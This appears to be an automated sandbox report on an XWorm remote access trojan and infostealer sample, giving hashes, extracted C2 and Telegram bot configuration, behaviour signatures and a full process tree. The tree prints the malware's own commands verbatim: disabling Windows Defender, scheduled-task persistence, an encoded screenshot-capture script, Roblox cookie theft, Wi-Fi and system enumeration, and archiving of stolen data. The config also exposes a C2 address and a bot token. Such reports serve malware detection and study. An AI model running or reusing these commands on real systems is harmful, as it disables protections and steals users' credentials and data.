Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-10-2024 01:57

General

  • Target

    d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe

  • Size

    7.6MB

  • MD5

    4667ad84b811400babc982785614bb5f

  • SHA1

    0016a4d0e998382722895dee4a062c0c318e37bf

  • SHA256

    d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda

  • SHA512

    f3276d245eae7a52233e785c9a79cc9de034b89fec7ccf22ba796c2cc8789541e5cfeb0299e8b430b6bfab43a6ecb1c0fc94ac64022320e413925649c454d2cf

  • SSDEEP

    196608:MvhBhOurErvI9pWjg/Qc+4o673pNrabeYyzWG+MYnN9sp:K4urEUWjZZ4dDLIeLzWG+TNCp

Malware Config

Extracted

Family

xworm

C2

198.23.219.104:7000

Attributes
  • Install_directory

    %AppData%

  • install_file

    word.exe

  • telegram

    https://api.telegram.org/bot7151126433:AAGnFv8HooRtSQ_cEeb4ANUyyyQ1LbT0Ehc

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 61 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe
    "C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3972
    • C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe
      "C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3884
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2260
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Checks computer location settings
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4652
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "word" /tr "C:\Users\Admin\AppData\Roaming\word.exe"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:628
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System failed to install recent update. click ok to retry.', 0, 'Error', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4948
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System failed to install recent update. click ok to retry.', 0, 'Error', 0+16);close()"
          4⤵
            PID:2600
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2120
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:628
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4600
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1408
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5112
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3352
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4176
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:208
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1076
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:552
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:2392
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4020
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:692
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:3396
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3632
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4484
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wwxuwcho\wwxuwcho.cmdline"
                5⤵
                  PID:3168
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD1A8.tmp" "c:\Users\Admin\AppData\Local\Temp\wwxuwcho\CSC2AA32920A5CA4A6C957525F453758182.TMP"
                    6⤵
                      PID:3944
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                  PID:2424
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:1152
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:5012
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1636
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:2348
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:3888
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:4596
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:5076
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:4868
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:4996
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                    3⤵
                                      PID:2836
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4020
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                      3⤵
                                        PID:5024
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3640
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "getmac"
                                        3⤵
                                          PID:4908
                                          • C:\Windows\system32\getmac.exe
                                            getmac
                                            4⤵
                                              PID:3636
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI39722\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\CVJfI.zip" *"
                                            3⤵
                                              PID:2300
                                              • C:\Users\Admin\AppData\Local\Temp\_MEI39722\rar.exe
                                                C:\Users\Admin\AppData\Local\Temp\_MEI39722\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\CVJfI.zip" *
                                                4⤵
                                                • Executes dropped EXE
                                                PID:1300
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                              3⤵
                                                PID:4696
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic os get Caption
                                                  4⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:748
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                3⤵
                                                  PID:3336
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic computersystem get totalphysicalmemory
                                                    4⤵
                                                      PID:404
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                    3⤵
                                                      PID:2780
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic csproduct get uuid
                                                        4⤵
                                                          PID:1376
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                        3⤵
                                                          PID:2080
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                            4⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
